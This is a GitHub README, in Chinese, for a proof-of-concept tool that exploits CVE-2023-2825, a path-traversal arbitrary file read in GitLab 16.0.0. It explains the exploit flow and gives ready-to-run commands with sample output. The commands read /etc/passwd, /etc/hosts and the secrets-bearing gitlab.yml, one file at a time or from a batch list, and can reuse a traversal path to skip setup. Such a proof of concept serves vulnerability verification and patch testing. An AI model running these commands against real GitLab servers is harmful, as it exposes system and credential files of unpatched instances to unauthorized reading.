Groppoxx/CVE-2023-2825-PoC

GitHub: Groppoxx/CVE-2023-2825-PoC

这是一个针对 GitLab 16.0.0 中 CVE-2023-2825 漏洞的概念验证工具,用于自动化读取任意文件。

Stars: 4 | Forks: 0

# CVE-2023-2825 PoC **GitLab CE/EE 16.0.0** 中 [**CVE-2023-2825**](https://nvd.nist.gov/vuln/detail/CVE-2023-2825) 漏洞的概念验证,这是一个任意文件读取漏洞。 该脚本使用一个有效的 GitLab 账户登录,创建所需的公共嵌套组结构,创建一个公共项目,上传附件,并利用存在漏洞的上传路径遍历行为从 GitLab 服务器读取目标文件。 它还支持复用现有的上传路径,因此您无需为每次文件读取都创建新的组和项目。 ## 功能说明 1. 认证并登录到目标 GitLab 实例。 2. 使用短路径创建嵌套的公共组,以实现可靠的深层嵌套。 3. 在最深层的组内创建一个公共项目。 4. 向项目上传一个小附件。 5. 从上传目录构建遍历路径。 6. 读取单个文件或文件列表。 7. 打印一个可复用的上传路径,以便后续更快地进行读取。 ## 要求 ``` Python 3.8+ pip install -r requirements.txt ``` 需要的 Python 包: ``` beautifulsoup4 requests urllib3 ``` ## 快速开始 尖括号包裹的值是占位符。请用您自己的值替换它们,并且不要包含 `<` 或 `>` 字符。 ``` python3 cve_2023_2825.py \ --url \ --username \ --password '' \ --file /etc/passwd ``` ### 占位符说明 ``` # Target GitLab base URL. Example: http://gitlab.local # Valid GitLab username. # Valid GitLab password. ``` ## 完整示例 ``` python3 cve_2023_2825.py \ --url http://gitlab.local \ --username alice \ --password 'Password123!' \ --file /etc/hosts ``` 示例输出: ``` [2026-05-17T18:20:10Z] [*] Getting CSRF token [2026-05-17T18:20:10Z] [+] CSRF token found [2026-05-17T18:20:11Z] [*] Logging in as alice [2026-05-17T18:20:11Z] [+] Login successful [2026-05-17T18:20:12Z] [*] Creating 11 nested public groups [2026-05-17T18:20:18Z] [+] Created group: A1B-11 [2026-05-17T18:20:19Z] [*] Creating public project [2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads// [2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts [+] Content of /etc/hosts 127.0.0.1 localhost ``` ## 复用上传路径 成功运行后,脚本会打印一个可复用的上传路径: ``` Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/ ``` 使用 `--reuse-path` 参数可以跳过登录、创建组、创建项目和上传步骤: ``` python3 cve_2023_2825.py \ --url http://gitlab.local \ --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \ --file /etc/hosts ``` 您也可以传递完整的 URL,并省略 `--url` 参数: ``` python3 cve_2023_2825.py \ --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \ --file /etc/hosts ``` ## 读取多个文件 创建一个文件列表: ``` cat > files.txt <<'EOF' /etc/passwd /etc/hosts /var/opt/gitlab/gitlab-rails/etc/gitlab.yml EOF ``` 运行: ``` python3 cve_2023_2825.py \ --url http://gitlab.local \ --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \ --list files.txt ``` ## 可选标志 ``` --groups Number of nested public groups to create. Default: 11 --depth Number of traversal segments to use. Default: 12 --reuse-path Existing project upload directory. Skips setup and directly reads files. --only-final Hide progress logs and print only file contents. --no-color Disable ANSI colors. --debug Print the generated traversal path for troubleshooting. ``` ## 注意事项 - 此漏洞利用需要 GitLab CE/EE **16.0.0** 版本。 - 需要一个有效的 GitLab 账户来创建公共嵌套组和项目。 - 受漏洞影响的路径要求附件位于一个嵌套在多个公共组内的公共项目中。 - 故意使用短组名以避免 GitLab 中深层路径创建的问题。 - 尽可能使用 `--reuse-path` 来避免创建不必要的组和项目。 ## 法律声明 此 PoC 仅用于 **授权安全测试**、实验室环境和漏洞验证。 请勿在未经授权的情况下对任何系统使用。
标签:CISA项目, CVE-2023-2825, GitLab, GitLab安全, HTTP工具, Maven, PoC, Python, 任意文件读取, 安全测试, 攻击性安全, 文件读取漏洞, 无后门, 暴力破解, 服务器漏洞, 漏洞分析, 漏洞验证, 网络安全, 路径探测, 路径遍历, 逆向工具, 隐私保护